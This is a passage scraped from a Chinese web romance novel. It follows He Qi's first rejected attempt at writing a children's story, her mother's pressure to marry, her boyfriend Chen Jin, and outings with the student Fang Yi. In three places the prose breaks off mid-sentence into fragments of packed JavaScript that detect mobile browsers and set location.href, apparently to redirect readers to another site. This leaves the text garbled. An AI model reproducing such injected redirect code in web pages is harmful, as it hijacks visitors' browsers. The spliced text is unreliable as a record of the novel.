一个忙得昼夜不分,一个醉到天昏地暗,漏洞百出的理由,戏剧性地在同一个电梯厢内上演,毫无说服力,但谁也没追究。 何漆仰头扭了扭脖子,不知道眼下的沉默到底是信任还是懒得多问。 电梯门打开,何漆虚扶着陈津进家门,她觉得陈津这股柔弱劲是不是有点过了?他是在公司里通宵工作,又不是像她一样在外面喝酒。 她腹诽着,在玄关处刚脱了鞋,陈津就忽然闭着眼朝她倒过来。 何漆惊呼一声,背抵在后面的柜子上,身前被陈津结实的身体不留空隙地压住,压到难以呼吸。 距离很近,因此闻到男人身上的味道确实很干净,他不喷香水,领口处便只有淡淡的洗衣液气息。 何漆不得不抬手拍打陈津的背:“你干嘛?我要喘不上气了。” “太困了。”陈津说,音量轻到刚好只够耳语,“下次出去喝酒跟我说一声?” 胸腔的震动传递到何漆身上,她缓慢眨了一次眼,应下:“知道,我先扶你去睡觉。” 两人虽然同居,但分房睡,各自都认为需要独立的空间,所以家里共有两间主卧。 何漆把人带进卧室,陈津扑在床上,兴许真是累坏了,连衣服都不想换,只解开衬衣的几粒纽扣。 何漆坐在他床边,扭过上半身看他拧着眉头的睡颜,忽然开口:“最近闲着没事,我打算试试写作。” 陈津含糊地“嗯”了一声,即便困到极点还是回应:“我父母应该有认识的编辑,我叫他们帮忙联系。” 何漆听完忍俊不禁,心说李家佳在这事儿上倒和她姐夫想到一块了,也不管她到底水平如何,先找人打通关系。 她嘴角染了点笑意,见陈津双眼阖着,呼吸渐渐平稳,也没多做解释,留下一句“你别着急麻烦叔叔阿姨,我自己先琢磨琢磨”,很快便轻手轻脚地出了房间。 走过客厅转进书房,何漆坐在椅子上,打开电脑新建了一个空白的文档。 还没来得及打下半个字,手机就收到条消息。 她点开一看,是方翊发来的“姐姐早上好”。 何漆抬手碰了碰额头,言简意赅地回复了一句“早”,随后将手机调成震动模式,倒扣在桌面上。 距离征文的截稿日期只剩下不到十五个小时,何漆脱离校园已久,每年除了工作上的述职报告和年度总结,再加上偶尔有感而发的朋友圈,几乎就没再写过任何东西。 让她在这十五个小时里写出一篇儿童文学作品来,无异于痴人说梦。 但既然决定好了目标,无论结果如何都该行动起来。 何漆一边思索,一边在文档上列出自己的想法。 第一,既然以“猫”为主题,那么故事的主人公便直接设定为猫。 第二,儿童文学,先简单粗暴地理解为童书、童话,目标人群为儿童,那就需要浅显的道理,简介的语言。 第三,作为童话,将冒险设为主题总不会出错,毕竟白雪公主都得在森林里受一番惊吓,然后遇到七个小矮人。 于是,一个以动物世界为背景的小猫冒险故事便成了何漆这几个小时的任务。 有了大致方向,再一点点从细微处入手,梳理起主角小猫的身份背景、性格人设,遇到了什么危机,解决的途径,与伙伴的相处…… 何漆渐入佳境,十二分的专注力都投入其中,一点点将故事顺下来,然后措辞取字,把想法变成看得见的语句。 大约四个小时后,她一气呵成地写完了两千多字的小小说。 看着满满当当的文档,何漆自己都觉得有些不可思议,内心某处仿佛被极大地满足,整个人处在一种难言的兴奋之中。 她耐着性子将这篇文章从头到尾完整地读了两遍,修改几处不通顺的地方,随后将文档名按照征文要求中的格式改好,保存后发至自己的微信。 做完这一切,何漆瘫在旋转椅上,踮着脚转了一圈,仰头长长吐出一口气,看看时间,才发现已经下午两点多了。 一上午滴水未进,在松懈下来后本能地感到饥饿,甚至胃都有点隐隐作痛。 何漆抿唇盯着那文档,完成的喜悦过去后,剩下的就是未知的不安,毕竟她没有自视甚高到觉得能够一鸣惊人。 这是一个无比俗套的故事,但俗套也代表着安全,几番内心挣扎后,她还是选择直接在电脑上将文档发至李秀兰的微信。 按下回车键,尘埃落定。 何漆合上电脑,拿起手机,决心将此事放一放,先出去觅食。 大步走出书房,在客厅里朝陈津的卧室望去一眼,才发现他原来已经醒了。 陈津刚在浴室里洗过澡,围了条浴巾就出来,上半身完□□着,也没关房门,精壮的背部□□地落在何漆眼里。 何漆方眯了眯眼,陈津就恰巧转过身来,手里还拿着要换上的衬衣,与客厅里双手抱胸目带审视的女人直直撞上视线。 陈津稍稍一愣,自然地将手臂垂落到身侧,白花花的光景无所遮拦,他问:“吃过中饭了吗?” 何漆摇头:“在做事,忘吃了,你刚睡醒?” 陈津“嗯”了一声,将衬衣套到身上,一粒一粒系起纽扣,速度很慢:“一起出去吃吧,吃完我还得回公司。” “我在外面等你。”说完,何漆走离客厅,消失在卧室门可以看到的视野里。 小区地库,那辆遭啤酒肚男同事嫉妒的卡宴启动,何漆在副驾系上安全带,打开好几个小时没碰的手机,看到了方翊发来的未读消息。 中午十二点,方翊曾问她“姐姐,你吃午饭了吗?” 其实先前也看到了,只是防止思路被打断,何漆故意没回,眼下正好有空。 「抱歉中午在忙,现在正要出去吃饭。」 她刚放下手机,奈何对面又是近乎秒回。 「忙到现在吗?好辛苦!」 「姐姐你一个人出去吃饭吗,还是和家佳姐一起?」 车载音乐没开,手机“嗡嗡”的震动声在密闭的空间里格外清晰,车子开出小区,路口处的红灯还有五秒,陈津斜着眼瞥向低头回消息的何漆,随口问:“在和谁聊天?” “李家佳表弟。” 「不是,和我男朋友。」 话落,又是一声震动。 「这样啊,那姐姐你快去吃饭吧,不要饿坏身体。」 何漆轻飘飘地扫过一眼,光从文字也很难看出对方的态度,于是没有回复,关了手机,抬头,绿灯亮起。 - 这一顿饭吃得不算久,何漆被送回小区时三点刚过。 车子停在单元楼外,陈津伸手替她解开保险带,提前报备:“晚上不一定回来,忙不过来的话还是睡公司。” 何漆淡淡应了一声,打开车门,只身走进单元楼。 电梯上行,电话铃突然响起,何漆拿起手机看到备注,心里“咯噔”一声。 退出去看了看日历软件,确定今天是周五,工作日,下午三点,照常来说还在上班。 她犹豫了有一会儿,最终还是选择接听,把手机放在耳边:“喂,妈。” 徐燕的声音并不年轻,并在此刻显出一种小心翼翼来:“嗯,漆漆啊,还在上班呢吧?” 何漆没有将自己已经辞职的消息告诉父母,因为她完全可以想象自己如果爆出实情后他们的怒火。 于是她含糊地反问:“什么事?” 徐燕讪笑一声:“也没什么事儿,不是快到十月放国庆了,想问问你应该回来吧?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059429|194988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >与此同时,电梯门打开,何漆缓步走出去,开门前将通话调成静音,防止指纹锁解开时发出的声响被电话那头的人听见。 直到进屋,在玄关处换了鞋,徐燕的话刚好问完,她把静音解除:“会回来的。” 徐燕拖长语调“哦”了一声,又问:“那陈津呢,他和你一起来吗?” 何漆皱眉,走到客厅沙发边上坐下:“他最近工作很忙,放不放假都说不准,再说他爸妈都在本地,去我们那儿干什么。” “话又不是这样说的。”徐燕不满,“你们俩从大学到现在,谈了有七年了,他放假跟你回趟家怎么了?你们以后结婚他肯定也是要来看望岳父岳母的,漆漆真的,你要听妈妈的话,早点把婚结了,这样拖下去像什么样子……” 何漆默默将手机拿远了些。 这几年都是这样,徐燕像是着了魔,只要能和何漆说上话,不管开头聊的是天南海北的话题,最后都要落回“结婚”上,无一例外。 不过要追溯这场催婚最开始的源头,还是何漆快二十二岁那年,面对父母对婚姻计划的询问,她年少无知、心高气傲,三番五次地向家里表明自己是个不婚主义者,这辈子都不会结婚。 听到这种大逆不道的话,徐燕勃然大怒,痛斥她是个异类、不正常的人,被那些坏思想毒害了,何漆与她据理力争,最终演变为互相咒骂,两败俱伤,险些断绝母女关系。 何漆那段时间临近毕业答辩,学业和家庭的双重压力下,她整个人的状态都不对,李家佳又在国外,没法长时间陪着她,于是陈津成了她唯一的情感支柱。 她一向很少向身边人诉苦,但那回却在陈津怀里哭到碱中毒,她至今都还记得当时陈津是怎么开导她的,他一边给她擦眼泪,轻抚背,一边在她耳边缓缓说: “何漆,别太犟,很多时候,特别是这种感情上的事,活得太清楚反而不好,觉得痛苦又无法改变的时候还不如糊弄着过。” “你先顺着叔叔阿姨的意思讲些好话,真问起来再找理由拖延,等多过几年,说不定他们观念会有变化,你要是应付不过来还有我,我是在你这边的。” 从拥有自主意识的学生时代开始,何漆就是一个十分较真、不愿也不屑糊弄的人。 每一次的课业都用认真的态度对待,跟不喜欢的人不想多说一句话,阳奉阴违对她来说更是种折磨。 但唯独这一次,她听了陈津的话。 她开始对父母说自己也没有那么不愿意结婚,只是还不是时候,等他们感情再稳定一点、工作有了着落之后再说。 开始工作后又推说等工作稳定,工作稳定了又讲工作太忙…… 总之道高一尺,魔高一丈,何漆就这样糊弄了许多年,拉锯战的战线一直延伸到现在。 从最开始的恶语相向,满含怨恨地向对方插刀子,到现在的逃避拖延,一看到父母的电话就心烦。 日子好过了很多,却也不会太好过。 “漆漆你听到没有?像陈津这样的男人你还要到哪里去找?还是要早点结婚心里才有底……”电话那头竟还在滔滔不绝着。 何漆拿出已经练得炉火纯青的糊弄技术:“我知道了,再问问他吧,有时间就来,我这儿还有工作,先挂了妈。” 说完也没立刻挂断,直到听见徐燕失落地说了声“好吧,那你上点心,不打扰你了”,她才按下挂断键。 手机扔在沙发上,何漆瘫倒下去,手指用力搓了搓眉骨,郁闷地叹出口气。 半天的好心情瞬间灰飞烟灭,做什么都提不起兴趣,最后早早地洗漱完,躺到床上,搜了本儿童文学杂志阅读起来。 岂料越看越心慌,越读越对自己早上写的那篇东西没底,最终自暴自弃地吃了粒含有褪黑素的软糖,早早关灯睡下。 因为前一晚睡得早,第二天清晨六点多便自然苏醒。 一起床心里就有股莫名的不安,洗漱时还眼皮直跳,她换好衣服后发现陈津昨晚依旧没回家,带着强烈的心慌下楼,在小区公园里做了一会儿锻炼。 八点钟,她带着早饭重新上楼,电梯里的失重感让内心好不容易忘却的慌张又升腾起来。 进门,把早餐放在餐桌上,何漆口袋里的手机响起一道提示音。 5. 第 5 章 心脏像是被吓到般重重跳了两拍,何漆自己也觉得怪,从口袋里翻出手机,发现竟然是李秀兰发来的微信。 她整个人动作一顿,缓缓坐到椅子上。 手机的面容解锁已自动打开,导航栏里的微信标着红点,何漆却迟迟不敢点。 这个时候李秀兰给她发消息,多半是昨天那篇文章的事儿,越想心里越慌,何漆一咬牙,直接点了进去。 三条消息冷冰冰地摆在聊天框里。 「刚刚花了三分钟看了你的文章,很失望。」 「我并不理解你为什么要选择儿童文学的题材进行创作,因为从你的文章里可见,你根本不懂什么是儿童文学。」 「不论是什么理由你都不用向我解释,你是李家佳的朋友,微信我就不删了,不必再向我投稿。」 何漆的目光钉在手机屏幕上,脖子和脸在烧。 看着这些不留余地的批评语句,她感到一种久违的羞耻,像初高中时作为好学生却被老师当众指责的心情。 比被领导责骂难受许多,大概是因为对方是李家佳的姑姑,也因为自认在写作一事上有些天赋。 但李家佳早有提醒,她这位姑姑脾气很怪,而何漆自己,确实是新手上路,犯了错。 所幸她已经不是十五六岁的小姑娘,这样的几句话还不至于让她一蹶不振,她调整好情绪,在聊天框打下“抱歉,麻烦您了李老师”,最后又看了一遍李秀兰留给她的消息。 对面似乎没有要再回复的意思,何漆关了手机,略显落寞地吃完了早餐。 - 一上午过得有些气不顺,正好是周六,何漆便给张心怡发消息,问她有没有空出来,自己请她吃顿饭。 张心怡答应了,但又说下午有别的安排,恐怕吃完饭就得走,没法多陪她。 何漆说没问题,反正她只是想出门透透气,换个心情。 吃饭的地儿定在了一家档次还算高的海鲜火锅店,服务员递来两份菜单。 张心怡大致扫了一眼,看到海鲜类菜品的价格,差点两眼发直,犹犹豫豫只点了小份量的蔬菜和肉类。 今天是何漆请客,她看出张心怡不想让她破费的顾虑,自己大手一挥,叫了好几份价格不低的海鲜。 张心怡在对面听着何漆一连串贯口似的报菜名,好几次欲言又止。 何漆则在爽快地点完菜后冲她眨眼:“你安心吃,反正我点得不少,吃不完才是浪费钱。” 这两天降温降得厉害,正是吃火锅的好时候,两个人吃得浑身热烘烘的,把外套都脱下。 桌边的服务员正用刀叉娴熟地给她们剥虾。 “最近工作还忙吗?”何漆问。 一提工作,张心怡整个人像是蔫了,苦哈哈地嚼着菜叶:“忙啊,早上桃姐跟我说有个展台出了问题,让我尽早去看看,我吃完饭就得过去想办法呢。” 何漆闻言表示同情地点头:“辛苦你了,中午正好多吃点。” “漆姐你呢?”张心怡羡慕地看向她,“辞职后是不是感觉很轻松。” 轻松?如果不去自讨苦吃的话,应该会很轻松吧?何漆想。 她回忆起早上的插曲,神色不由落下来,自嘲似的挑了挑眉:“还行吧,总归比上班的时候轻松点。” 两人边吃边聊,不知不觉间近一个小时过去,桌上的菜被消灭得干干净净,张心怡捧着肚子像是撑得不行,何漆好笑地弯了弯眼,起身去结账。 何漆在前台买单,张心怡重新穿上外套,一副坐立难安的样子拎包站在一旁,心里大致计算了一下那些海鲜的价格,恐怕快赶上她一个月的工资! “别心疼。”何漆看出她的心思,微笑着转过头来,“花我男朋友的钱,给他放放血。” 张心怡还是不好意思:“你男朋友的钱不也是你的钱。” 何漆同她讲起歪理:“男朋友的钱不是钱,老公的钱才会让人舍不得花。” “这么说还是不结婚比较好?”张心怡接茬。 何漆恰好付完钱,转身对她打了个响指:“聪明。” 两人乐作一团,又是一通瞎聊。 在门口的沙发上等了片刻功夫,张心怡打的车就到了,何漆目送她离开,然而还是不怎么想回家,出店后就在街上随意逛着,最后进了一家咖啡馆。 店里生意较冷清,她挑了个靠窗的位置,点了杯热拿铁,静静地放空。 过了好一会儿,手机突然响了一声。 何漆回过神,发现竟然是方翊发来的消息。 「姐姐,你是在咖啡店吗?」 她疑惑,抬头环视了一圈,最终朝窗外看去,一个穿着黑色皮夹克的男生正在不远处探头探脑地往窗户里瞧。 两人四目相对,都认出了彼此。 方翊像是惊喜地笑了起来,冲她挥挥手,小跑着进了咖啡店。 何漆也没料到会这么巧,见方翊推门进来才缓缓想通:“你在附近的同大读书?” “是啊。”方翊自然地在何漆对面落了座,“今天周末,我刚在外面吃完饭,没想到会碰见姐姐你。” 确实太巧,何漆指了指点单台的位置:“那请你喝杯咖啡吧,谢谢上次在酒吧的帮忙。” 方翊没同她客气,爽快答应,点了杯海盐焦糖拿铁,重新坐回来时问:“姐姐,你怎么在这儿?” “也是跟人出来吃饭。” 方翊把嘴张圆“哦”了一声,眼珠低低地转了转,像是在思索什么,最后略显小心地抬眼看向她:“是和家佳姐还是……姐姐的男朋友?” 何漆一向不喜欢不熟的人对他有所打听,但对方的神情实在心虚,像把心思都写在了脸上,她觉得好笑,便如实回答:“都不是,其他朋友。” 方翊点点头,止住这个话题。 咖啡上得有点慢,两人之间的氛围沉寂了片刻,但方翊显然不是那种容易感到尴尬的男生,找起话题也算得心应手。 他问:“我刚刚在外面看,姐姐你好像心情不太好的样子?” 话落,何漆诧异地看过去。 其实她是天生脸臭,放空或者不做表情时就会显得不高兴,以前也常常被人莫名地询问“是不是心情不好”。 虽然大多数时候都是旁人的误解,不得不回以一个微笑进行解释,但很巧,今天的何漆确实有点失落。 她淡淡收回视线,转而盯起眼前咖啡杯里的液面,原本想说“没事”,但话到嘴边硬是鬼使神差地转了个弯:“有点吧。” 方翊关切问她怎么了。 何漆垂着眼,语气坦然:“头一次给出版社投稿,被编辑不留情地拒了。” 话出口,方翊还没反应,她自己倒先无声地笑了一下。 这感觉……怎么说呢? 投稿被拒而已,还是第一次、只用几个小时写出来的文章,能被征用才该烧高香,听起来不过是一件从一开始就不该抱有期望的事。 可何漆就是为这点小事失落了一上午,还找不着人说。 要是告诉陈津、李家佳、张心怡,多半会收获一句“没事儿,第一次,再接再厉”的安慰,其中李家佳可能激进些,骂着喊着要去找李秀兰讨说法。 这些安慰绝对出自真心,但就是因为过于诚挚,反而会让她二次回味那种难言的低落。 细小到无关紧要的伤口,何漆不想展露给亲近的人,此刻向不相熟的方翊吐诉,打算听到一句轻飘飘的宽慰后赶紧翻篇。 岂料方翊眨眨眼,认真地问:“那编辑不会是李阿姨吧?” 海盐焦糖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059430|194988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿铁在这时端上来,醇厚的香气弥漫,他见何漆愣住,补充:“就是李乐一的妈妈。” “你怎么知道?”何漆反问。 方翊这就知道自己猜中了,神色隐隐得意: “李阿姨确实有点难相处,就连跟他们出版社已经签约的作者都会被她狠批的。” “我高中的时候去找李乐一玩,装得再乖也逃不过和李乐一一起挨训,好几次都快给我说自闭了!” 他说完,像是不愿再回想,表情很衰地端起咖啡。 何漆意外找到一个受害者盟友,听到对方和自己相似的经历,心情竟顿时变得明朗起来。 她不自觉笑着,看方翊低头喝了口咖啡,上唇沾到了奶泡,伸手指了指,无声提醒。 方翊一下子没意识到,一双眼睛疑惑又无措地盯着何漆,以为自己怎么了。 何漆便抽了两张桌子上的纸巾递过去:“嘴巴,脏了。” 方翊反应过来,连忙低头用纸擦干净。 见找到共同话题,方翊一时开了话匣,讲了不少与李乐一以及他母亲相处时的事,他说话很有意思,何漆常被他猝不及防地逗笑,听得入迷,连时间流逝都没察觉。 直到她慢悠悠地喝完了一整杯咖啡,才想起看时间,发现竟已经过去了一个小时。 正好上个话题结束,何漆对他笑道:“谢谢你,我心情好多了。” 方翊受宠若惊:“喝了姐姐的咖啡,当然要帮你排忧解难。不过姐姐你千万别放弃,相处久了就会发现李阿姨只是嘴巴比较毒,人还是挺好的。” 何漆点头:“嗯,我不会放弃。” 似乎是看出何漆要走,方翊抓紧时间再次开口:“姐姐,你跟家佳姐是同学,那就也是宁市人?” 何漆说“是”,又想起他是李乐一的高中同学,发觉他俩也能算同乡。 方翊果然又道:“那姐姐国庆会回宁市吗?” “回去,你呢?” “我也回去。”方翊笑道,“宁市小,说不定还能碰上姐姐。” 何漆淡笑着附和了一句,终于说要走,起身去买了单。 方翊没挽留,在座位上礼貌地冲她挥手再见。 - 回到家后也没什么事儿做,但起码心情好了不少,何漆便窝在沙发里把昨晚的儿童文学杂志接着看下去,看累了再打开电视追个剧。 七点半左右,大门开了,何漆听到动静就知道是陈津,依旧躺在沙发上没动,不咸不淡地问他吃过饭没。 陈津边脱西装外套边走进屋子,随手把衣服放在沙发的扶手上,走到何漆眼前,挡住了她的大半视线。 何漆不得不抬眼看他,男人神色确实疲惫,恐怕好几天没睡过舒服的长觉。 她想让陈津早点去洗漱休息,还没来得及张口,他的身子就俯下来,精准地吻住她。 陈津的皮肤比何漆的凉,兴许在外面吹过风。 两人接了一个短暂的吻,陈津微微直起点身子,声音低哑:“最近太忙,国庆给团队多放了一天假,我陪你回宁市?” 何漆拒绝:“不用了,家佳开车载我回去,你在家好好休息吧,肯定还要居家办公,反正我回家也待不了几天。” 陈津盯着何漆的眼睛看了两秒,没说什么,垂眸重新吻上去。 越吻越深,越吻越重,唇舌交缠,呼吸急促,何漆意识到什么,扭开头喘了口气,手摸索到遥控器把电视剧暂停,又轻声问陈津:“你不累吗?” “睡觉还太早。”说完,陈津的手朝她的睡衣下摆伸去。 何漆整个人开始烫,抬腿用膝盖推了一下他,提醒:“套在房间里。” 陈津闻言伸手把何漆抱起来。 “那就回我房间吧,沙发收拾起来麻烦。” 6. 第 6 章 十月转眼就到了,国庆当天,何漆约好和李家佳一起回宁市。 她这几日在家里天天睡到自然醒,生物钟往后推迟了不少,此刻洗漱完收拾好自己,边打哈欠边走出卧室。 陈津穿着睡衣坐在客厅里,桌上放着电脑似乎在工作,也不知道醒了多久。 “买了早餐。”他随手指向茶几上的一个包装袋,连头都没抬。 何漆慢悠悠地走过去,打开包装袋,看到里面有碗馄炖,两三块红枣发糕,还有油条豆浆。 份量太多,不像是一个人的,于是她回头问:“你吃过了吗?” 陈津说吃过了。 何漆点头,伸出手指勾上袋子:“那我拿去车上跟家佳一起吃。” 陈津没异议,等何漆转身重新路过自己身边时忽然叫住她,把桌上提前准备好的一张银行卡推过去:“卡里有十万,替我给你爸妈。” 何漆拎着早餐,拒绝得很干脆:“不要。” 她固定每隔一段时间就会给父母一笔钱,金额不算少,陈津这些年也没少给她家里钱,她爸又还没到退休的年纪,每个月在公司都有工资领,老两口生活上绝对不会差钱,说不定在银行里还存着不少,这是其一。 其二,她现在要是真拿着这十万块钱交到她父母手里,给出去的就不是钱,而是一个绝佳的催婚动机,她这趟回家的战略方针就是尽量降低陈津的存在感,以此最大程度避免被催婚折磨。 因此,这钱绝对不能要。 陈津闻言没强求,转而道:“那你拿着花。” 何漆却已经走到玄关处,穿好鞋,提起门口处装了三四套衣服的小行李包,随口道:“花着你的钱呢。” 紧接着,门轻轻一开一合,屋子里就只剩下陈津一人。 - 李家佳依旧开着她那辆招摇的粉色宝马来接人,何漆坐在副驾,打开早餐的包装袋,微微开了点窗通风,问她想吃什么。 李家佳趁红绿灯抽空瞥了一眼,说红枣糕,何漆应好,小心地隔着塑料袋把发糕掰成刚好入口的大小,伸手喂给她。 从江市到宁市开车大约三个小时的路程,赶上国庆,路上更堵一些。 两人左右坐着,和上高中时的晚自习没差,话题根本没法停,李家佳兴致勃勃地跟她讲天南海北的八卦,何漆在一边大惊小怪地捧场。 四个小时像水一样流过,一大袋早餐也被她们当零嘴似的慢吞吞吃了个干净。 何漆父母家是老小区,治安宽松,往来车辆不需要做什么登记,李家佳直接把车开进去,送何漆到家楼下,对她说:“我爸妈也等着,就不去跟叔叔阿姨打招呼了,明天叫你出来吃饭。” 何漆点头:“路上小心,明天见。” 进了单元楼,拎着行李走到第三层,右侧那户整个楼道里唯一装了指纹锁的就是她父母家。 何漆印上指纹,刚打开门,饭菜的香味就飘至鼻尖。 徐燕恰巧从厨房里端着两碗菜出来,看到进门的何漆,欣喜道:“漆漆!来得正好!我刚把菜烧好!” 在客厅里看手机的何云平听到动静也起身,招呼道:“漆漆回来了?” 就连扫地机器人都像是有感应似的跟到玄关处,转了个圈,又慢慢爬走了。 何漆应了声,把行李包拿到自己房间里放下,然后出来洗手吃饭。 回家的头一天总是最好过的,亲人久别重逢,说话做事谨慎热情,把握着分寸,绝不提起会让对方生气的事儿,毕竟谁也不想刚见面就触霉头,总觉得不吉利。 但过了第一天,后面的日子就不好说了。 何漆拢共只打算在家里待三四天,时间紧迫,她父母必然要在此期间提起他们最关心的事儿,最好还能仔细聊聊,全方位地说服这个在婚恋观念上离经叛道的女儿。 何漆精准把握了他们的心思,第二天索性睡到日上三竿,不给他们找自己谈心的机会,午饭前才出房门,说自己要跟李家佳出去吃饭。 徐燕听完,问:“那晚饭呢?晚饭回来吃吧?妈妈特意买了好多你爱吃的菜。” 何漆闻言只能答应下来。 她和李家佳约在附近的一家商场里吃寿喜烧,吃完又在商场里逛着消食。 等逛得差不多了,想找个甜品店坐一会儿,李家佳忽然收到条消息。 她拿出手机,边看边对何漆道:“李乐一说他在台球厅打球,就这个商场边上新开的那个,问我要不要去找他玩,你想去吗?” 何漆耸肩:“我都行,你表弟也回来了?” “对啊,他妈管他挺严的,不能不回。”李家佳收起手机,下了决定,“那就过去看看吧。” 这家台球俱乐部环境确实不错,里头的装修是很高级的灰白色调,灯光开得亮,走进去还有股淡淡的香味。 前台礼貌地跟两人打招呼,李家佳说她们来找人,李乐一眼尖地看到她们,兴奋地挥手:“表姐!这儿!” 李乐一那帮人选了较角落的位置,远远看过去有六七个扎堆的年轻男女,估计都是同学。 “过去看一眼,要是尴尬我们就先溜。”李家佳没想到会有这么多人,在何漆耳边轻声安慰。 何漆淡笑说“好”,被李家佳挽着手臂牵了过去。 何漆是头一回见李乐一,李乐一却在自家表姐嘴里听了好几年的何漆,这次总算见到真人,热情地迎上来喊道:“表姐,何漆姐。” 李家佳恨恨地在李乐一胳膊上拍了一掌,小声骂道:“你要死啊,没跟我说有这么多人。” 李乐一吃痛地摸了摸胳膊,辩解:“没事的姐,都是我朋友,我们开了四张桌呢,够玩。” 李家佳原本还想再骂,不料后方突然传来一道清亮的男声:“姐姐。” 几人全都诧异地看过去。 视线越过李乐一的脑袋,何漆看见正前方拿着台球杆的方翊,他单手插兜,两眼亮晶晶的,含着藏不住的笑意。 李乐一有点懵:“你喊谁姐姐呢?” 何漆清楚是在喊她,轻咳了一声,不得不回话:“方翊,你也在啊。” 话落,整片区域陷入了一秒的沉默。 李乐一倏地把头扭回来,李家佳则以一脸“什么情况”的表情看向何漆,在场不少人的目光在他们之间来回移动。 李乐一又问:“你俩,认识?” 方翊主动回答:“在江市遇见的,家佳姐也在。” 李家佳摸了摸下巴,没说什么,只可疑地将视线转移到方翊身上。 李乐一见这情形大脑开始飞速运转,看看方翊,看看何漆,再看看李家佳,最后仿佛领悟了什么,以为自己是这世界上最懂兄弟的人,一把拽住李家佳的胳膊,扭头朝方翊投去坚毅的一眼:“姐,你跟我去那边打。” 李家佳猝不及防,被拽得一个踉跄,反应过来后直接往李乐一脑袋后面招呼:“你要死啊!” 李乐一为了兄弟,一声不吭地忍了,还不忘回头再给方翊一个坚毅的眼神。 方翊淡淡回视他,挑了挑眉。 李家两姐弟一走,这张台球桌边上就只剩下何漆和方翊两人。 方翊自然地将自己手里的台球杆递给何漆:“姐姐,那我们两个一起打吧。” 何漆不想接,双手交叠在身前,略拘谨地向四周环视:“抱歉,我不太会打台球,不然还是让你朋友跟你打吧?” “没有别人了。”方翊可怜地垂头看她,解释,“大家都两个两个匹配好了,原本是我和李乐一打,但他现在要跟家佳姐打,如果姐姐你不愿意跟我打,我也没人能玩了。” 何漆抿着唇看了一圈,发现确实每张桌边都有两人,数量正好,没有多余。 “好吧。”她接过方翊手里的杆子,再次提醒,“但我真的没怎么打过。” 方翊见她答应,立刻展露笑颜,给自己重新选了根顺手的台球杆:“没事,本来就是玩玩而已。” 他利落地将上一局打进球袋里的台球重新摆至桌面,用三角框规整好,摆好白球,问何漆:“姐姐,规则你知道吗?” 何漆点头:“知道个大概,你先吧,我开不好球。” 方翊应好,俯身在台球桌前,杆子瞄准白球。 他打球的姿势极漂亮,左手自然弯曲着搭在桌面上,修长的手指架起手架,右手拿杆,小臂垂直着,肌肉隐隐绷紧,肩膀打得很开,整个人像张已经拉满的大弓。 “哒。” 杆头精准地打向白球,力道偏重。 “哒。” 白球往前冲去,将形成倒三角的球阵撞得四散。 “哒。” 有颗双色球落进了球袋,沿着回球通道一路滚到最后。 按照规则,进球方可以继续击球,方翊看了眼桌面上的形势,换了个位置,继续用白球击打双色球,但这次差一点力道,台球在袋口一段距离的地方停了下来。 轮到何漆了,她向方翊确认:“我是打单色球?” 方翊说:“对。” 何漆看了一圈桌上的球,找到一颗几乎与白球和袋口形成一条直线的单色球,路线清晰,是最好打的一颗。 她调整站位,在合适的角度站定,缓缓俯身,把球杆架起来。 试着动了动,却发现有点用不上劲,觉得大概是姿势出了问题,抬头问:“我这样对吗?好像有点打不出去。” 方翊走近些,端详片刻,建议道:“姐姐,你把右肩提起来一点。” 何漆照做:“这样?” “对。”方翊说,“还有右手的位置,可能握杆太靠后了。” 何漆一手紧把着台球杆,姿势别扭,实在不容易把手往前挪。 方翊再走近一步,抬手握住她的球杆:“我帮你拿着,你调整吧。” 他靠得其实不算太近,两人之间还有一步多的空隙,但显然已经超过了社交安全距离。 何漆火速将手调整到合适的位置:“好了,谢谢。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059431|194988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 方翊默默退到一边:“不用客气。” 一切就绪,何漆全神贯注地盯着那三点一线,果断出手,将杆一推,又是三道清脆的声响,单色球完美入袋。 方翊在一旁真诚地捧场:“哇,可以啊姐姐。” 何漆清楚自己几斤几两,对方翊的奉承一笑而过,紧接着调整方位,再打一杆,不过这杆没进。 虽然一开始不太想玩,但真打起来何漆也十分投入。 她隐隐能感觉到方翊是在迁就着她打——她进球方翊就跟着进一个,她一直不进方翊就给她做人情球,把白球推到合适打单色球的位置。 这样看来方翊的水平大概不低,能随心所欲地控制白球经过各种路线去到他想要的地方。 因此打过大半局,两人进球的数量几乎持平。 虽然是被让着的,但何漆体验感着实不错,毕竟方翊让球让得不动声色,她进球也有成就感。 还剩下小半场残局的时候,李家两姐弟也刚打完一场,纷纷跑到他们这边来凑热闹。 李乐一靠近一看,瞪大眼惊讶道:“何漆姐你这么厉害吗?竟然能跟方翊打成平手!他打台球在我们这儿没输过的!” 何漆心里一惊,实在汗颜,心虚地笑了笑,没说话。 自家姐妹到底会不会打球李家佳还是清楚的,因此也没说话。 反倒是方翊看了李乐一一眼,在球桌上进了个球,轻笑道:“嗯,姐姐挺有天赋的。” 